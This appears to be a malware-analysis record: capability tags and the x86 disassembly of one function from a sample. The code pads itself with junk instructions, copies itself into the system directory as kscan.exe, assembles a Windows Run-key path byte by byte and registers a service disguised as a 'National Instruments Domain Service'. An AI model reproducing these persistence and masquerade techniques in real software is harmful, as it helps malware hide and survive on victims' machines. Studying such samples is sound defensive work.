Function at 0x40aae0
Capabilities:
Copy file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
add ebx, 0
add ebx, 0
add esp, 0xa
sub esp, 0xa
add ebx, 0
add ebx, 0
add ebx, 0
add ebx, 0
add esp, 0xa
sub esp, 0xa
add ebx, 0
add ebx, 0
add ebx, 0
add ebx, 0
add esp, 0xa
sub esp, 0xa
add ebx, 0
add ebx, 0
add ebx, 0
add ebx, 0
add esp, 0xa
sub esp, 0xa
add ebx, 0
add ebx, 0
call fcn.0040b030
test eax, eax
pop ebx
je 0x40ab67
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], str.Nationalgau
push eax
mov dword [ebp - 0xc], 0x40a640
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [0x419cb4]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
push str.Providesjxe_a_domain_server_for_NI_security.
push str.Nationalxsb_Instruments_Domain_Service
push str.Nationalgau
call 0x40aba0
mov eax, dword [0x41acc0]
add esp, 0xc
test eax, eax
je 0x40ab5f
call fcn.0040a4c0
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414330
push 0x412806
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4ac
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x45c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x324]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x324]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x45c]
push edx
lea eax, [ebp - 0x324]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x40ace5
push str.kscan.exe
lea ecx, [ebp - 0x4b4]
push ecx
call dword [0x419e1c]
add esp, 8
lea edx, [ebp - 0x324]
mov edi, 0x418080
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x4b4]
lea edx, [ebp - 0x324]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x45c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x45c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x324]
lea edx, [ebp - 0x45c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [0x41acc0], 1
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x354], 0x53
mov byte [ebp - 0x353], 0x4f
mov byte [ebp - 0x352], 0x46
mov byte [ebp - 0x351], 0x54
mov al, 0x57
mov byte [ebp - 0x350], al
mov byte [ebp - 0x34f], 0x41
mov byte [ebp - 0x34e], 0x52
mov byte [ebp - 0x34d], 0x45
mov bl, 0x5c
mov byte [ebp - 0x34c], bl
mov byte [ebp - 0x34b], 0x4d
mov byte [ebp - 0x34a], 0x69
mov byte [ebp - 0x349], 0x63
mov dl, 0x72
mov byte [ebp - 0x348], dl
mov cl, 0x6f
mov byte [ebp - 0x347], cl
mov byte [ebp - 0x346], 0x73
mov byte [ebp - 0x345], cl
mov byte [ebp - 0x344], 0x66
mov byte [ebp - 0x343], 0x74
mov byte [ebp - 0x342], bl
mov byte [ebp - 0x341], al
mov byte [ebp - 0x340], 0x69
mov al, 0x6e
mov byte [ebp - 0x33f], al
mov byte [ebp - 0x33e], 0x64
mov byte [ebp - 0x33d], cl
mov byte [ebp - 0x33c], 0x77
mov byte [ebp - 0x33b], 0x73
mov byte [ebp - 0x33a], bl
mov byte [ebp - 0x339], 0x43
mov byte [ebp - 0x338], 0x75
mov byte [ebp - 0x337], dl
mov byte [ebp - 0x336], dl
mov byte [ebp - 0x335], 0x65
mov byte [ebp - 0x334], al
mov byte [ebp - 0x333], 0x74
mov byte [ebp - 0x332], 0x56
mov byte [ebp - 0x331], 0x65
mov byte [ebp - 0x330], dl
mov byte [ebp - 0x32f], 0x73
mov byte [ebp - 0x32e], 0x69
mov byte [ebp - 0x32d], cl
mov byte [ebp - 0x32c], al
mov byte [ebp - 0x32b], bl
mov byte [ebp - 0x32a], 0x52
mov byte [ebp - 0x329], 0x75
mov byte [ebp - 0x328], al
mov byte [ebp - 0x327], 0
xor ebx, ebx
push ebx
lea edi, [ebp - 0x324]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [ebp - 0x324]
push ecx
push 1
push 0x41a220
lea edx, [ebp - 0x354]
push edx
push 0x80000002
call fcn.004083d0
add esp, 0x1c
mov dword [ebp - 0x358], ebx
mov dword [ebp - 0x464], ebx
xor edi, edi
mov dword [ebp - 0x460], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [0x419d28]
mov esi, eax
mov dword [ebp - 0x460], esi
cmp esi, edi
je 0x40afda
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x45c]
push eax
push edi
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push esi
call dword [0x419ca0]
mov ebx, eax
mov dword [ebp - 0x464], ebx
push esi
call dword [0x419ca4]
mov edi, eax
mov dword [ebp - 0x4bc], edi
mov dword [ebp - 0x4b8], str.Nationalxsb_Instruments_Domain_Service
lea eax, [ebp - 0x4b8]
push eax
push 1
push ebx
call dword [0x419ca8]
push edi
call dword [0x419cac]
test ebx, ebx
jne 0x40af30
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x40af30
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
push esi
call dword [0x419d2c]
mov ebx, eax
mov dword [ebp - 0x464], ebx
test ebx, ebx
je 0x40afda
push 0
push 0
push ebx
call dword [0x419cb0]
push 0
push 0
push ebx
call dword [0x419cb0]
test eax, eax
je 0x40afda
lea edx, [ebp - 0x11c]
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x11c]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x358]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push 0x80000002
call dword [0x419d08]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x358]
push edx
call dword [0x419d24]
mov esi, dword [ebp - 0x460]
mov dword [ebp - 4], 0xffffffff
call fcn.0040b003
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret